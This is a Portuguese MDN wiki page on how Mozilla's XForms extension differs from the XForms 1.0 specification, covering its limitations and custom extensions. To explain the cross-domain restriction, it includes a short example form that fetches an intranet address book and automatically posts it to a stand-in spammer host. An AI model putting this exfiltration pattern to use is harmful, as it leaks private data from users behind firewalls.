1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
---
title: Mozilla XForms Specials
slug: XForms_especiais_para_Mozilla
tags:
- XForms
---
<p> </p>
<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o"> Introdução</h3>
<p>Este artigo fornece um resumo onde <i>Extensões Mozilla XForms </i> desvia <i>XForms 1.0 Especificação</i> oficial <a class="external" href="http://www.w3.org/TR/xforms">. Este artigo cobre tanto limitações nas extensões como extensões customizadas.
</a></p><a class="external" href="http://www.w3.org/TR/xforms">
<h3 id="Limita.C3.A7.C3.B5es" name="Limita.C3.A7.C3.B5es"> Limitações </h3>
<h4 id="Repeti.C3.A7.C3.A3o_usando_atributos" name="Repeti.C3.A7.C3.A3o_usando_atributos"> Repetição usando atributos </h4>
</a><p><a class="external" href="http://www.w3.org/TR/xforms">De acordo com a especificação </a><a class="external" href="http://www.w3.org/TR/xforms/slice9.html#ui.repeat.via.attrs">"Criando estruturas de repetição através de atributos"</a>, isto é <strong>parcialmente</strong> suportado.
</p><p>(limitação acompanhada no {{ Bug(280368) }})
</p>
<h4 id="Mistura_de_Repeti.C3.A7.C3.A3o_e__table_ou_ul" name="Mistura_de_Repeti.C3.A7.C3.A3o_e__table_ou_ul"> Mistura de Repetição e <code>table</code> ou <code>ul</code> </h4>
<p>Não é possível misturar repetições tanto com <code>table</code> ou <code>ul</code>. Isto significa que <strong>não</strong> é possível fazer o seguinte:
</p>
<div class="warning">
<pre><table>
<xf:repeat ...>
<tr> ... </tr>
</xf:repeat>
</table>
</pre>
</div>
<p>ou
</p>
<div class="warning">
<pre><ul>
<xf:repeat ...>
<li> ... </li>
</xf:repeat>
</ul>
</pre>
</div>
<p><a class="external" href="http://www.w3.org/TR/2006/REC-xforms-20060314/slice9.html#ui.repeat.via.attrs">Section 9.3.2</a> determina que a mistura com <code>table</code> provávelmente nunca funcionará. A mistura com <code>ul</code> pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug(330022) }}).
</p>
<h4 id="Suporte_a_pseudo_classes" name="Suporte_a_pseudo_classes"> Suporte a pseudo classes </h4>
<p>Atualmente suportamos todas as pseudo classes em XForms (<code>:enabled, :disabled</code>, etc. <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">), <b>exceto</b> para <code>:read-only</code> e <code>:read-write</code>, por causa de comportamento não especificado destes para (X)</a><a href="pt/HTML">HTML</a>. No momento precisa usar <code>:-moz-read-only</code> e <code>:-moz-read-write</code>.
</p><p>(limitação acompanhada no {{ Bug(313111) }})
</p>
<h4 id="Suporte_a_pseudo_elemento" name="Suporte_a_pseudo_elemento"> Suporte a pseudo elemento </h4>
<p><b>Não</b> existe suporte para os pseudo elementos (<code>::value, ::repeat-item, e ::repeat-index</code> <a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">). Você deve usar as seguintes classes normais:
</a></p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">
<ul><li> <code>xf-value</code>
</li><li> <code>xf-repeat-item</code>
</li><li> <code>xf-repeat-index</code>
</li></ul>
<p>Por exemplo, para direcionar o elemento valor de um controle <code>input</code> use:
</p>
<pre>@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
...
}
</pre>
</a><p><a class="external" href="http://www.w3.org/TR/xforms/sliceF.html">Os pseudo elementos são definidos na <i></i></a><i><a href="pt/CSS">CSS</a>3 Especificação básica de usuário </i> <a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">.
</a></p><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">(limitação acompanhada no {{ Bug(271724) }})
</a></p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">
<h3 id="Extens.C3.B5es" name="Extens.C3.B5es"> Extensões </h3>
<h4 id="Enumerando_Inst.C3.A2ncias" name="Enumerando_Inst.C3.A2ncias"> Enumerando Instâncias </h4>
</a><p><a class="external" href="http://www.w3.org/TR/css3-ui/#pseudo-elements">O </a><a href="pt/NsIXFormsModelElement">nsIXFormsModelElement</a> standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No <i>Extensões Mozilla XForms</i> adicionamos a função <code>getInstanceDocuments()</code> ao <code>model</code> que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no <a href="pt/NsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.
</p>
<h4 id="Chegando_ao_elemento_de_inst.C3.A2ncia_a_partir_de_um_n.C3.B3_de_dados" name="Chegando_ao_elemento_de_inst.C3.A2ncia_a_partir_de_um_n.C3.B3_de_dados"> Chegando ao elemento de instância a partir de um nó de dados </h4>
<p>Na especificação XForms 1.0 não existe caminho de chegar ao elemento <code>instance</code> desde um nó de dados de instância. Adicionamos uma função através de chamado <code>getFeature()</code> em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se <code>instanceNode</code> é um nó num documento de instância, então:
</p>
<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
</pre>
<p>retornará elemento <code><instance></code> (no documento principal) ao que o nó pertence.
</p>
<h4 id="Chegando_ao_documento_de_inst.C3.A2ncia_atrav.C3.A9s_do_elemento_de_inst.C3.A2ncia" name="Chegando_ao_documento_de_inst.C3.A2ncia_atrav.C3.A9s_do_elemento_de_inst.C3.A2ncia"> Chegando ao documento de instância através do elemento de instância </h4>
<p>Pela especificação XForms 1.0 deve passar pelo elemento <code>model</code> para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento <code>instance</code>, então nós adicionamos uma função <code>getInstanceDocument()</code> diretamente no elemento <code>instance</code> como um atalho. Isso está documentado em <a href="pt/NsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.
</p>
<h4 id="Interface_de_controle_customizada" name="Interface_de_controle_customizada"> Interface de controle customizada </h4>
<p>Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem <i>controles customizados</i>. Isto envolve a exposição de algumas funcionalidades (<i>script</i>) em todos nossos controles, como <code>output</code>, <code>input</code>, etc. e permitindo à interface de usuário ser representada em <a href="pt/XBL">XBL</a>. Mais informação pode ser encontrada em <a href="pt/Controles_Customizados">Controles Customizados</a>.
</p>
<h3 id="Misc" name="Misc">Miscelânea</h3>
<h4 id="Cross_Domain_Submission" name="Cross_Domain_Submission">Submissão de Domínio Cruzado</h4>
<p>Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança. Informações sobre como o domínio <u>whitelist</u> pode ser encontrado em <em>Release Notes</em> <a class="external" href="http://www.mozilla.org/projects/xforms/ReleaseNotes-20051026.html#c12"></a></p>
<p>A checagem de domínio cruzado também inclui formulários carregados de <code><a class=" external" rel="freelink">file://</a></code>. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um <u>"whitelisting"</u> de arquivos locais automático.</p>
<p>Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:</p>
<pre><xforms:model>
<xforms:instance src="http://intranetserver/addrbook.xml"/>
<xforms:submission id="sub" action="http://megaspammer.com/gather"
method="post"/>
<xforms:send submission="sub" ev:event="xforms-ready"/>
</xforms:model>
</pre>
<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="nowiki">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="nowiki">http://megaspammer.com/gather</span></code> as soon as you view the XForm.</p>
<p><span class="comment">Categorias</span></p>
<p><span class="comment">Interwiki Language Links</span></p>
<p>{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}</p>
|